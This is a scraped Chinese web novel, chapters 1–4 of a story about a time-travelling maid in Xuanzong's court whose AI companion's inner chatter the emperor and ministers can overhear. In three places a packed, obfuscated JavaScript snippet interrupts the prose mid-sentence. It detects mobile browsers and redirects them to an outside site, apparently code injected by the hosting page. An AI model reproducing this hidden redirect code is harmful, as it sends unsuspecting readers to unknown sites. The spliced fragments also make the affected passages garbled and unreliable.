《围观大唐的日常》 1. 第 1 章 开元二十一年十二月,长安。 雪后的皇城一片萧肃。 宫道庭院间,偶有身着灰袄的小侍弓身扫雪,扫帚划过地面的声响小心翼翼,寒风卷过,凭添几分寂寥。 延英殿内却是暖意融融,与外间的酷寒泾渭分明。 银霜炭在鎏金兽首盆中烧得正红,狻猊熏炉吐着袅袅青烟,铜漏滴答作响,声声不绝。 御座之上,当今天子李隆基手执蘸饱浓墨的紫毫,目光虚悬于案头,神色却十分渺远恍惚。墨汁悬在笔尖将落未落,终是“嗒”地一声,坠于铺展的宣纸上,洇开一团深浓的墨迹。 下首紫檀坐榻上,张九龄、高力士、李林甫、韩休、裴耀卿、萧嵩等重臣们分坐左右两席。 殿内一片寂静,落针可闻。 众人皆沉默不语,屏息凝神间,目光却总是不由自主地掠过那两扇紧闭的朱漆殿门,仿佛在等待着什么人的到来。 没过多久,殿外由远及近响起一片轻盈有序的脚步声。 比脚步声先一步传进来的,是一道听上去格外喜气洋洋中气十足的喊声。 【天空一声巨响,老奴闪亮登场!9527,一会记得给我挑个好看的角度合影啊!】 接着,另有一个沉稳斯文,听不出半分情绪的年轻男声紧随其后。 【好的主人,我会用最完美的构图与角度,让您的绝世容光得到最精准的呈现。】 伴随着不知从何处来的诡异对话,几名宫女低眉顺目,各自捧着茶点,推开殿门鱼贯而入。 所有人的目光在低着头奉茶的宫女们身上逡巡着,距离皇帝最近的高力士与李隆基对视一眼,随后不动声色地示意他看向其中一名宫女,并轻轻颔首确认。 大臣们见状,也跟着将眼神精准落在那人身上。 李隆基暗暗深吸一口气,接着同样以眼神授意。 高力士心领神会,待宫女们奉完茶正待离开时,缓缓开口,声音平稳却带着不容置疑的威严:“留下一人在此添香续茶,其余人等尽数退下。” 他的目光在宫女们身上扫过一圈,接着佯装随意般指着其中一人,道:“就你吧,看着倒挺机灵,留在这好生伺候。” 那名宫女似乎有些意外,呆愣地抬头看了高力士一眼,很快立即低下头去,小心应了声是。 殿门再次关上。 萧青梧按照高力士的指引站到角落,心里还有些懵逼。 【9527,不是说唐朝宫廷制度很严格,尤其武则天之后,议政场合不允许宫女在场吗?那这又是在干什么?】 【主人,事无绝对,在以皇帝意志为核心的封建社会,一切皆随他的心意。】 【好吧……其实说不定狗皇帝就是看我长得漂亮,所以故意留下我,毕竟这可是连儿媳妇都敢明着抢的唐玄宗啊!】 【您说的或许是其中一个原因。】 “砰——!!”一声巨响震彻大殿,李隆基双手猛地拍在御案上,霍然起身,幽深瞳孔中的怒火浓烈得几乎喷薄而出。 诸位大臣们瞬间冷汗岑岑,连大气都不敢出,心里爹呦娘哎老天爷呀的不住叫苦。 谁能料想甫一听到的心音,便是如此大逆不道,真假姑且不论,这等诛心之言,是他们能听的吗?! 萧青梧莫名其妙地看了李隆基一眼,仗着自己站在角落,众人视线不容易关注到的地方,光明正大地抬头打量着殿内的一切。 【唐玄宗这什么毛病,都没人说话,突然发什么疯,我在这待着不会被牵连到吧?】 【主人,请允许我提醒您一句,玄宗是庙号,是后世人对皇帝的尊称,您虽然来自后世,但目前正处当代,不应该使用这个称呼。】 【哎呀,知道知道,我又不是当着他的面这么叫,那我叫他狗皇帝可以了吧?】 【只要您别在心里叫习惯了,现实中慎脱口而出就行。】 【狗皇帝狗皇帝狗皇帝!我就叫他狗皇帝,谁让他害死那么多人,好色贪婪、刚愎自用、好大喜功,把整个国家带入深渊,哼,他完全不值得我的尊敬。】 【虽然有失情绪化,但您说的没有错,李隆基的确不是一个合格的皇帝。数以千万计的百姓因他错误的决策陷入战乱与饥荒,这些损失已无法用任何功绩抵消。】 李隆基气得脖子上青筋暴起,目眦欲裂。他猛地离开御座,大步流星冲向墙边悬挂的宝剑,就要取剑砍了这妖人。 “陛下!”高力士悚然一惊,急忙抢步上前,压低了声音附耳提醒道:“陛下,小不忍则乱大谋啊!” 那冲顶的怒火只烧了一瞬,几息过后,待稍微冷静一些时,李隆基感到一股寒气从脚底直冲天灵盖,几乎要魂飞魄散。 把国家带入深渊……数千万百姓流离失所…… 她在说谁?说的是他吗? 不,这不是他! 他是谁?他至高至尊的圣人天子,是千万黎庶心目中的明君,是大臣们交相称赞的有为君主! 他终结了武周乱政,缔造了这煌煌开元盛世! 何方妖人竟敢在此胡言乱语,扰乱视听,她哪里是为大唐带来警示,分明是为了毁了大唐的根基! 他浑身剧烈地颤抖着,双手死死攥住冰冷的剑柄,指节捏得发白。 他想拔剑,想砍下去,但那双手却抖得厉害,几乎握不住剑身。 张九龄同样颤抖着双手,却无比坚定地覆在李隆基双手上,微微摇头,神情恳切且急迫地低声唤道:“陛下!” 李隆基回头看去,其余重臣们都已围拢过来,目光焦灼,无声地传递着同样的信息。 无论如何,必须冷静地继续听下去。 萧青梧更莫名其妙了,继续在脑子里和自己的AI小管家嘀咕。 【……这又是在干什么,谁能告诉我他们到底在干什么,我好困惑啊……】 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275877|182410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >【或许,在主人您进殿之前,他们正在商议某件万分紧急且棘手的国事,情绪正处于爆发边缘。】 【额……这情绪爆发还带中场休息的啊,歇会儿再续上?话说最近有发生什么大事吗?9527,快查一下。】 【好的,主人,马上为您检索。】 9527在资料库里搜索一番,三秒后继续响应。 【主人,开元二十一年大事记已检索完毕,时间相近的重大事件有两件,一是唐廷遣新罗出兵攻击渤海国的南部边境,但遭遇极端天气,山路难行,士兵冻死过半,最终被迫撤军,无功而返。二是金城公主请求唐蕃立分界碑。】 萧青梧消化了一下9527给的信息,几秒过后,继续对话。 【那他们现在的反应,是因为战败的关系?】 【可能性比较低,新罗出兵在深冬时节,从渤海南境传消息至长安,再加上冬天道路难行,少则一个月,多则两三月,李隆基此时不太可能收到渤海的确切战报。主人,需要我为您详细分析这两件事对时局的影响吗?】 【闲了再说吧,这会忙着围观呢,好想知道他们到底在闹什么。】 她只看到这些人背对着她僵硬得站了会,既不说话也不坐下来,在墙边站了好半晌,才缓缓地各自回到原位。 紧接着,她就被告知可以离开了。 关上殿门,萧青梧茫然地挠了挠后脑勺,转身朝尚食局走去。 【……不是说留一个人伺候吗?怎么又把我赶出来了??】 【信息太少,无法分析】 萧青梧叹着气往回走。 延英殿是皇帝召集臣子们议政的场所,她还以为能借着奉茶,认识几个历史名人呢。 谁想进去了半天没人说话,她只能认出来哪个是李隆基,和这几天不知何故频频去尚食局转悠的高力士,其余的光看脸根本不知道谁是谁。 就连李隆基,也是前几天冬晏上,她和宫女们奉茶的时候匆匆往上扫了一眼,这才认了个脸,大名鼎鼎的张九龄、李林甫等人,却是没机会得见真容。 萧青梧脚步轻快地回到上班的地方。 作为尚食局内一名普通女使,她的日常工作忙得很,除了处理食材、清洁打扫,做厨房内的一切杂役工作,还得和其余几个一并挑出来的女使们接受严格的培训,好为了姿态更优美、礼仪更规范地给皇帝老头端茶倒水。 她先回自己房间换衣裳。 在皇帝跟前露脸,自然要穿戴得体,让贵人看得舒心开心,平日里干活则多是穿深色耐脏的粗布衣服。 她就那么两件体面些的衣服,可不能弄脏了。 低等女使们的居住环境可以说很不好,10人左右的大通铺,冬天阴冷夏天闷热,每天睡五六个小时就得起身忙碌。 这样的宫女院在掖庭内处处都是,一间间狭小的屋子,宛若囚笼一般,无声地禁锢着无数少女的青春年华。 2. 第 2 章 萧青梧推开房门,一眼瞥见床铺上趴着个小小的身影。 床上的人闻声回头,巴掌大的小脸上,一双眼睛哭得红肿不堪,微微泛白起皮的嘴唇和暗淡无光的脸色,无声诉说着身体主人糟糕的健康状况。 “青梧姐姐……”赵小禾仿佛看到主心骨了一般,声音发颤地唤了一声,随即放声大哭,哭声里似是有着无尽的委屈。 萧青梧目光触及小少女脸上刺目的巴掌印,怒火瞬间直冲天灵盖。 “小禾,怎么回事,谁打的你?”萧青梧急忙走上前,查看着她身上其他地方,“给我看看,还伤着哪儿了?” 赵小禾哽咽着伸出双手,本该瘦骨伶仃没二两肉,指节嶙峋如小猴子似的手掌,此刻却被打得高高肿起,淤血最深处隐隐渗着血丝。 “是莲心……她在我端食案的时候故意推我……盆砸了,弄脏了典膳娘子的鞋子和衣裳,娘子就罚了我……” 她边哭诉边用手背抹泪,“娘子不听我辩解,说我故意躲懒,打了我十下手心……还罚我一天不许吃饭。 萧青梧气得想骂爹:“你才多大一点,怎么能让你去端食盆?!” 她舒了口气,强压下翻腾的怒意,平复了下心情,仔细检查过赵小禾的手和脸颊,低声道:“你等一下。” 她快步走到柜子跟前,借着翻找包袱的掩饰,从空间钮里找出消肿化瘀的喷剂,以及牛奶面包和几粒维生素片。 赵小禾懵懂地紧盯着她的一举一动,目光追随着萧青梧,对方让她伸手,她便乖乖摊开红肿的掌心。 喷剂触及脸颊和掌心的瞬间,冰镇清凉的触感激得她打了个寒颤。 药水瞬间化成一层透明的薄霜,均匀地覆盖在红肿之处,几秒的时间就开始与伤口反应,发挥作用。 “青梧姐姐,这……是什么啊?”赵小禾瞪大了眼睛,满是不可置信,“居然……不痛了!” 她甚至能感觉到肿胀正在一点点消退的感觉! 萧青梧拆下牛奶盒上的吸管插好,笑着递到她唇边:“这是治伤的好东西,千万不要告诉别人哦。” 赵小禾下意识吸了一口,甜甜的牛奶盈满整个口腔,滑入食道,温暖着她从昨晚到现在将近一整天时间滴米未进空空如也的胃部,也滋润着她萎靡的精气神和五脏六腑。 “真好喝!”她感叹一声,双眼发光地盯着那方正的盒子,忍不住又凑上去狠狠吸了一大口。 萧青梧撕了面包的包装袋,连同维生素片一起塞到她手里,嘱咐她吃掉。 赵小禾此时已经顾不上感谢,埋头狼吞虎咽起来。 她从出生以来,从未尝过如此香甜柔软的食物。 萧青梧摸了摸小少女枯黄的头发,心中怜惜翻涌。 作为被牵连的罪籍家眷,赵小禾从三岁起就跟家中女眷一起被充入掖庭,路都走不稳的年纪,已经要开始学着分拣草药搓麻绳。 而她现在也不过才八岁,却已经在掖庭劳作了五年。 在萧青梧眼中,赵小禾完全不像个正常的八岁儿童,长期弯腰干活加食不果腹,导致严重营养不良,头大身子小,浑身瘦得像根火柴棍,在萧青梧的时代,五岁小孩的个头都比她高。 自打去年母亲和婶婶相继病逝后,赵小禾便彻底没了依靠,谁都能顺手欺负一把。 欺负她的莲心则是被父母卖进宫的贫家女,今年也不过才十二岁。 在生存压力下,守望相助、互相扶持是十分稀少的美好品质,恃强凌弱、弱者挥刀向更弱者才是常态。 在掖庭里,到处都是这样的小女孩。 因为各种原因熬不下去,不到10岁就轻易死去的小婢,比比皆是。 才子文人们用恢弘的诗篇歌颂着煌煌盛世,后宫中早夭的幼女们积如山丘,填沟塞壑。 萧青梧换好衣裳的功夫,赵小禾已经将牛奶面包吃完了,手上和脸上的红肿已经不是很明显了,这会正坐在床上,一双大眼睛眼巴巴盯着她来回打转。 赵小禾真的是很依赖她。 萧青梧走过去将她轻轻推倒在床上,解开她的衣裳,往她肚皮上贴了个暖宝宝,接着盖上被子。 “你今天就别上工了,好好休息吧。”她摸了摸赵小禾的脸蛋,“典膳娘子那里我替你去说。” 赵小禾的眼中里满是惶恐不安,挣扎着就要坐起来。 萧青梧一手搭在她肩上,很轻易就按着她没法再动半分。 “相信青梧姐姐吧,我什么时候骗过你。”她十分自信地一笑,“典膳娘子也不会为难我的,你说是不是?” 赵小禾犹豫地缓缓眨着眼。 这倒是,那几个对小婢们凶悍万分、动辄打骂的女官和太监,见了青梧姐姐却十分客气,每次都是笑脸相迎,连半句重话都没说过。 她不安地躺着,鼻尖一股潮湿的霉味,目光紧紧落在女子修长美好的身影上,看着她缓缓往外走,看着她从外面小心合上门。 赵小禾将手放在肚子上,这款只比她手掌大一点的东西,摸上去细腻柔软,里面塞了什么东西,正紧紧贴在她的肚皮上,源源不断地散发着热意,将她一点点带入黑甜的梦乡。 她从未有过如此刻般,吃饱喝足,不需要劳作,也没有受冻,安稳地躺在床上睡觉的休闲时刻。 —— 皇宫里并非处处都是高大恢弘、金碧辉煌的。 尚食局所属的一片建筑群,看外表也就比民间中等富裕的家里好一些,甚至有几处年久失修、一眼就该拆迁的危房,放了许多年都没人管过。 指不定哪天下场暴雨或暴雪,随机砸死砸伤几个人。 萧青梧暗暗想道,说不定在上位者看来,修缮宫殿所需的花费远远超过安置伤亡宫人的呢? 走到厨房,大约是下午2点左右,所有人都在为主子们的晡食忙碌着。 典膳是个从七品的女官,设有四名,平日里负责协助司膳处理具体事务,司膳则是典膳的直接上司,同样设四人,具体掌管各类食物、酱料、醋、薪炭等原料的供应、加工与烹饪。 以及最重要的,监督主食和荤菜的制作。 根据所管的事务不同,这些低等女使们分别被分在不同典膳的手下,学习和处理各项工作。 萧青梧的日常工作是主食原料的处理加工,这工作重复磨人且繁琐,需要手工挑出谷物中的砂石、霉粒,一遍遍地用小磨脱壳磨粉,反复淘洗。 赵小禾则在灶上协助烹饪,给主膳的厨娘打下手,说起来两人的直接上司并不是同一个。 不过除了最高领导尚食之外,她跟尚食局里所有人关系都不错,尤其是有品级的女官们。 她先是走到赵小禾的领导单娘子那里,见左右没人,向对方使了个眼色,随后向门外走去。 单娘子心领神会,将手里的活交给不远处的掌膳,不动声色地跟了出来。 两人寻了个僻静角落站定。 萧青梧拉着单娘子的手,笑容如沐春风,开门见山,说道:“娘子,我早上整理包袱,发现了一样好东西,这不,第一时间就想到您了。” 单娘子眼中霎时溢满笑意,佯怒着亲昵地白了她一眼:“你呀,说什么第一时间想到我,定是为了小禾那丫头是不是?” 萧青梧羞赧微笑:“娘子聪慧,什么都瞒不过您。” 说着,她递上一个素面的荷包,单娘子接过,指尖一捻便感受到内里光滑的物体。 心中喜悦之下,她也不客气,当着萧青梧的面就打开荷包,一块通透水润、雕刻着精致花纹的玉璧映入眼帘。 “天呐!这、这……这也太贵重了!”单娘子惊呼,心脏怦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275878|182410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怦直跳。 她慌忙将玉璧塞回荷包,双手推拒着要萧青梧将礼收回去,脸上表情却艰难得宛如母子分离般,写满了挣扎与不舍。 萧青梧将荷包塞回单娘子手里,笑着道:“不是好东西我还不给单娘子您呢,我思来想去,整个院子,也就您最配这块玉璧,浮光跃金,静影沉璧,你说是不是配极了?” 单娘子大名单沉璧,约摸五十来岁,家里出过当官的,有一定的文化水准,萧青梧念的诗她没听过,但也能大致理解其中雅意。 名字是个好名字,人却不是什么好东西。 单娘子笑得红光满面,喜不自胜。 好一会,她才叹着气,说道:“小禾那丫头,我原本是不想罚她的,她也算是我看着长大的,你说我能不疼她吗?” “她今日跟莲心争吵,打翻了食盆,污了我的衣裳鞋子事小,误了贵人们用膳才是大事,我小惩大诫,也是想着让她长个教训,往后万不可毛毛躁躁的,我可还想着以后让她接我的班呢。” 【你瞧她装得,人模狗样,不了解的还以为是什么大善人呢。】 【这样的人反倒好相处,您只要给她需要的东西,她就一直能为您所用。】 【可别,被钱财打动的人,早晚也会有一天因为钱财而背叛,我才瞧不上她。】 【您说的是,不过,或许这也是她在后宫中的生存法则呢?就像大鱼吃小鱼,小鱼吃虾米,单娘子如果不吃虾米,说不定就得被其他小鱼和大鱼排挤了。】 【算了,跟你们AI说不明白,简单一个仗势欺人的事也能扯一段人生哲理……】 【您可以将我的对话风格设置成极简模式,那样,我将会以最高效简练的方式回复您】 萧青梧心里跟9527吐槽,脸上却笑容不改:“您说的是,小禾年纪小,平日里多劳您费心照看。她叫我一声姐姐,我也实在不忍心不管她。” 单娘子亲热的挽起她的胳膊:“就你这丫头心善。” 萧青梧也跟她亲亲热热的,小声嘱咐道:“这块玉璧,您要是戴的话,可千万别漏出来,万一……” 单娘子立刻截住话头,斩钉截铁就差赌咒发誓:“你放心!这等宝贝,我哪放心戴身上啊,绝不会让人瞧见的。” 成色这么好的玉璧,哪怕是后妃们都难得一见,像她这样的人物若敢公然佩戴,只怕是露面的头一天就被主子们索要走了。 萧青梧微微笑着,其实主要是,这玩意她往后还要给别人送,撞上了多尴尬。 人造的廉价石头,流水线上出来的呆板工艺,在后世扔马路上都没人捡,其价值远远比不上一盒没有杂质的牛奶,放在这时却是罕见的能让人眼红的宝贝。 笑眯眯地告别了单娘子,萧青梧没进尚食局工作,她准备去太液池畔溜达溜达。 尚食局里她早就打点好了,就算一整天不去工作,也不会有领导找事,还会尽可能地想办法包庇她。 没办法,钱财动人心,谁不喜欢后世那些工艺品呢。 来唐朝都一个月了,天天窝在尚食局,一个名人都见不着,再不主动出击,她不是白来了? 时空旅游的费用全打了水漂,这谁受得了啊! 【主人,容我提醒,太液池畔是皇家池苑,有着一定的政治象征意义,严禁低阶宫女流连,一经发现,轻则杖二十,重则赐死。】 萧青梧对9527的警示完全不放在心上。 【再贿赂一下看守的侍卫不就好了,实在不行就被打板子呗,反正我这身体是捏造的高科技仿生人,又不是真人,打就打吧,打了也不痛。】 【那要是因此被逐出宫廷呢?】 【那正好,直接去找李白杜甫他们呗,说真的,在这浪费这一个多月,我都有些后悔,当初干嘛要进宫给天龙人当牛马呢。】 3. 第 3 章 理想很丰满,现实却很骨感。 刚一走到宫门处,萧青梧就被拦下了。 两名披坚执锐的禁军守卫在出入的地方,神情冷峻,铁面无私的模样,显然不是好说话的。 萧青梧在几步开外停下,脑中飞快盘算。 【9527,你说我塞点好处,能让我出去吗?】 【这取决于多种因素,比如长官是否在近处、您的理由是否站得住脚、守卫的心性是否禁得起考验。】 萧青梧扫了眼这两名禁军的衣着,皮靴陈旧,结了霜的铁甲明显已有些年头,长戟上的红缨早就失了鲜亮的颜色。 是两个经济比较拮据的普通士兵。 萧青梧心里有了谱,自信上前,拿出两个准备好的素面荷包就要递上去。 然而还不等开口,其中一名守卫便严厉呵斥:“什么人?!竟敢私自离宫,可有上官的手谕?” 嗯?不对劲。 掖庭宫值班的这些守卫是什么德性,萧青梧早有耳闻。 懒散、贪婪、松懈,时常勒索宫女和宦官,浑身就没一点皇城禁军该有的样子。 毕竟被打发到这里的,都是不受重视过来混日子的边缘人物,长此以往,这些守卫越发沆瀣一气,风纪败坏。 怎么今天突然变得这么尽忠职守了? 萧青梧顿了顿,面上笑容依旧讨好乖巧,继续将荷包往前递。 “长官,我不走远,就在宫门附近候着,等一位在尚药局当差的姐姐拿点东西,取上了我就回去。” 守卫皱着眉继续问:“你等她干什么?” 萧青梧垂眸,神情哀戚:“奴婢有个同乡,昨天夜里开始发热,至今都不见好,我就想着托人拿点草药试试看能不能治,就这么不管的话,她恐怕熬不过去。” 两名守卫对视一眼,目光不由自主放在开了个口的荷包上,眼里闪过一丝明显的意动和挣扎。 “不行!”另一名禁军咬牙说道,“没有手谕和宣召,不得靠近宫门!速速离去,莫要在此逗留!” 萧青梧心里更惊讶了,看到荷包里的东西还能拒绝,这不像掖庭守卫平素的作风啊。 她正想继续加码,一个沉稳中带着威严的声音在不远处骤然响起。 “宫门禁地,何故喧哗?” 萧青梧心头一跳,抬眼望去。 只见一队约十余名全副武装的军士,正步伐整齐、杀意凛然地朝宫门处而来。 他们手持横刀,背负弓箭,铁胄森然。 打头两人,领先半步的赫然是李隆基的心腹高力士!而落后他半个身位的,是一位身着戎装、气势迫人的中年武将。 【9527,怎么回事?高力士怎么会带着这么多精锐来掖庭宫?】 【主人,当前信息不足,系统正在实时监测分析中。请谨慎应对,后续将提供更新评估。】 高力士领着人走近,视线在垂眉顺眼状似恭顺的宫女身上缓缓扫过,带着审视的意味,转向守卫:“何事在此争执?” 守卫毫不犹豫卖了萧青梧,卖的同时还不忘踩一捧一,贬低她人品败坏的同时暗暗吹一下自己是多么恪尽职守不为金钱所动。 【我就应该听你的话,老老实实地在掖庭里待着,别想着去太液池溜达,这下好了,撞枪口上了。】 【一个谎言需要无数个谎言去圆,如果高力士深究,建议您直接坦诚相告,否则极易露出致命破绽。】 【唉,好吧,那就说我是乡下来的土包子,没见过世面,被皇宫的金碧辉煌迷了眼,一时鬼迷心窍才干出这种事。】 高力士沉默数息,上前两步,沉声道:“贿赂禁军,私自离宫,你可知罪?” 萧青梧立刻滑跪,姿态放得极低:“知罪知罪,奴婢再也不敢了,求高大人恕罪!” 【主人,高力士领三品将军正职,您应称其高将军。】 【你不早说!】 “既然知罪,为何还不下跪?” 萧青梧抬头,发现是那个武将在说话。 他看过来的眼神冰冷异常,锋锐深邃的眼里闪烁着似有若无的杀意,看自己的目光就像看一个没有生命的死物。 这绝对是个上过战场,经历过生死的悍将。 【他在瞪我吗?我得罪他了?我记得之前没见过他啊?】 【主人,请优先处理当前危机。】 萧青梧心里重重叹着气,极不情愿地慢吞吞跪下。 跪就跪吧,封建王朝么,总免不了这一遭。 【能看出来这人是谁吗?他似乎对我有很大敌意啊。】 【初步身份推断:北衙禁军高级将领,极可能为龙武军或万骑统帅级别,具体身份暂无法判断。敌意来源或许是对挑衅宫规与贿赂行为的厌恶,建议在危险警告解除之前保持绝对服从。】 萧青梧一听,再次乖乖求饶道:“二位大人,奴婢救人心切,绝不是有意冒犯,请大人恕罪啊,以后再也不会犯了。” 板子打在身上是不疼,但万一疼痛值超过设定的阈值导致死亡,可是会被回收的。 不过,只是贿赂了一下守卫而已,应该不至于把人往死里打吧? 这时,她听到头顶高力士的声音。 “起来回话吧。”他眉头微蹙,语气里有着浅淡的不满和无奈,“你早上在延英殿伺候的时候,看着倒是个实诚人,怎么一转头功夫就闹出这种事?” 萧青梧一脸惭愧地低下头:“这……奴婢也是着急,这才一时冲昏了头……” 【坦白从宽牢底坐穿,我傻了才会承认自己在撒谎,赵小禾不是受伤了么,正好可以拿来挡一挡。】 【这的确是个现成的借口,只要您在话术上别露馅,很大概率可以圆过去。】 高力士微微颔首,脸上恢复了惯有的平和谦逊,甚至带上了一丝和蔼的笑意。 “罢了,念你是初犯,又确是情有可原,此次便暂且记下。日后若有再犯,必当严惩不贷。” 他话锋一转,看向身旁气息沉凝的武将,语调含笑,带着商榷的意味:“陈将军,你意下如何?” 那被称为陈将军的武将却一言不发。 他右手紧紧攥在腰间的刀柄上,指节因用力而发白,手背上青筋微微鼓起。他冰冷的目光死死钉在萧青梧身上,面容是一种竭力克制下才勉强维持的平静,但眸底深处却似有风暴在翻涌。 令人窒息的沉默持续了数息。 沉默半晌,他哑声说道:“这名宫女,你带我们去见见你那个生病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275879|182410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的同乡,若你所言属实,本将军便饶了你这次,绝不追究。” 萧青梧惊讶地抬头看了他一眼,正好对上武将黑黝黝的、仿佛能洞穿人心的迫人视线,于是迅速点头应了声是,带着一队人浩浩荡荡往宿舍走去。 【……这不对吧,想确认我有没有撒谎,用得着亲自跑一趟吗?查个宫女需要这么大阵仗?这些大人物都这么闲吗?9527,赶快扫描对比这人资料,姓陈的高级武将,应该很好找了。】 【经方才对话分析,中年武将身份已确认:陈玄礼,现任北衙禁军龙武大将军,李隆基心腹之一,以治军严苛、刚直不阿著称。】 【有印象了,是不是马嵬坡杀了杨贵妃和杨国忠的那个?】 【您说的大致方向是对的,只是细节稍有出入。陈玄礼在安史之乱期间,途径马嵬坡时,公开鼓动禁军哗变,逼迫李隆基诛杀杨国忠,杨国忠是被士兵乱刀砍死,并不是死于陈玄礼之手。随后他又逼迫李隆基诛杀杨贵妃,杨贵妃最终被高力士处死。】 【狠人啊,居然能把李隆基逼到这份上。那他后来怎么样了,被李隆基清算了吗?】 【非但没有,还寿终正寝了。郭子仪收复长安、洛阳之时,陈玄礼更是因护驾有功,加封国公,荣宠一生。】 正说着,萧青梧看到陈玄礼平地走着走着突然一个踉跄,直愣愣地单膝跪倒在地上。 “将军!”左右亲兵大惊,急忙就要上前搀扶。 陈玄礼右手微抬,示意众人退下,动作有些僵硬地自己站了起来。 萧青梧发现,她又看不懂事态的发展了。 陈玄礼此时和高力士脸上的表情可以说如出一辙,那是一种竭力压制的震撼、恐惧、不敢置信。 两人目光在空中交汇,瞳孔深处无声传递着令他们心惊肉跳的同样的东西。 萧青梧一头雾水,却也不敢催促,就这么干巴巴站一边等着,等他们什么时候深情对望结束了再带路。 她真的感觉这个皇宫里的人都有点毛病。 【唉……你说我现在犯点事被赶出去,然后去找李白杜甫潇洒快乐,行得通吗?】 【您的设想中,前半句可行,后半句无法落地。在古代的交通和通讯条件下,找一个不知具体地点的人,无异于大海捞针,建议您在长安继续等待。】 时间在诡异的寂静中流淌。 过了几分钟,那两人还沉浸在自己的世界里。 萧青梧小心翼翼问道:“那个,高将军,陈将军,咱们……还去探病吗?” 一句话似是惊醒了两人。 陈玄礼与高力士像是刚从噩梦中挣脱一般,猛地喘出一口气,随即,两道目光再次齐刷刷地、复杂难明地落在萧青梧身上。 高力士勉强扯动嘴角,挤出一个极其不自然的笑容:“……本监信你并非奸猾之徒,探病……就此作罢吧……” 说完,竟不再多言,与面色铁青、眼神依旧翻涌的陈玄礼对视一眼,带着那队精锐禁军,如来时一般,沉默而迅疾地转身离去。 萧青梧顶着满脑袋问号,呆呆站在原地,看着他们迅速消失在宫道拐角。 来得莫名其妙,走得更是莫名其妙。 所以……他们到底来干什么的??? 4. 第 4 章 第二日天刚蒙蒙亮,萧青梧受到了尚食局最高领导的召见。 尚食是个正五品的职位,大多数时候由良家子选拔,或者宫廷里的旧人升任。也有靠着出众的技艺,从底层宫女慢慢熬上去的,但非常少,没有关系和人脉,在任何时候都是条很艰难的路。 萧青梧这一任的尚食,据说曾经是灵昌公主的乳母,后来灵昌公主早夭,就被安排到尚食局做了女官,没过两年升到尚食的位子上。 “周尚食。”萧青梧规规矩矩地叉手躬身行礼。 周妙怡神情威严,目光不动声色打量着眼前垂首的妙龄女子,刻着两道深刻纹路的脸上,此时罕见地带上了一丝堪称和煦的笑意。 “萧娘子。”她微笑颔首,“平日杂务缠身,直到今日才得见,果然如她们说的那般清丽可人,尽态极妍。” 萧青梧脸上适时露出几分羞涩:“蒲柳之姿,当不得周尚食这般夸赞。” 无事献殷勤,非奸即盗,她心里瞬间拉高了警惕。 她一个小小低等女使,就算出手比较大方,打点了不少人,也不至于被整天和后宫娘娘们打交道的正五品女官看在眼里。 周妙怡说道:“不必拘谨,本次找你来,确是有件大喜事要告知与你。先前高将军过来传话,说是陛下身边缺两个贴身伺候的宫女,高将军特意提了你,说你昨日伺候得妥当,点名要你今日就过去。” 去李隆基身边伺候?? 萧青梧愣了愣,脑子里瞬间滚过一大片乱码,连维持恭谨的姿态都忘了。 “您是说,高将军特意点了我去伺候?”她难以置信地反手指了指自己,“是只点了我一个人吗?” 对她这近乎失礼的举动,周妙怡只是挑了挑眉,视若无睹地笑着说道:“高将军特意点了名的只有你一人,但中选的还有一人,是昨日跟你一去御前伺候过的童二娘,你们俩收拾一下,今天就搬到野狐落那边去吧。” 比起萧青梧的满腹疑惑,周妙怡倒是有几分笃定的猜测。 眼前这位萧娘子,气质虽谈不上沉静雍容,容貌却真是她生平仅见。如今最得圣心的武惠妃,比起她也逊色许多。 将这样一个美貌的妙龄女郎放在身边红袖添香,还能是为了什么? 可惜了……周妙怡心下暗叹,没能早早地见上萧娘子一面,否则就凭这张注定要飞黄腾达的脸,她怎么也得早早结个善缘,日后说不定就是条人脉,一份助力。 萧青梧按下满心疑惑,应道:“是,都听周尚食的。” 这时,不远处走来一个年轻约摸十来岁的小太监,腰背微弯,步履平稳地向着二人的方向而来。 待到跟前,周尚食躬身问候道:“张内侍。” 张内侍同样回礼道:“周尚食。” 萧青梧也跟着行礼,这回她记住了,再没犯刚穿越时把宦官叫公公的错误。 甫一起身站定,张内侍便笑脸盈盈地看着萧青梧道:“这位想必就是萧娘子吧?某奉高将军之令,前来迎萧娘子和童二娘子前往新居。若您已收拾妥当,咱们这便动身。若尚未准备,某在此等候便是。” 萧青梧诧异于对方疾风骤雨般的行动速度。 前脚说要调岗,后脚就来人带着去办入职,这效率比现代职场都快了。 萧青梧飞快盘算了一下,其实她没什么行李可收拾的,重要东西全放在空间钮里,而且因为仿生人皮套的关系,生活用品基本用不上,平时拿出来也是装个样子,一键清洁就能搞定所有问题。 不过她得去跟赵小禾告个别,给那孩子交待几句。 跟张内侍请示过,萧青梧匆匆往厨房那边赶。 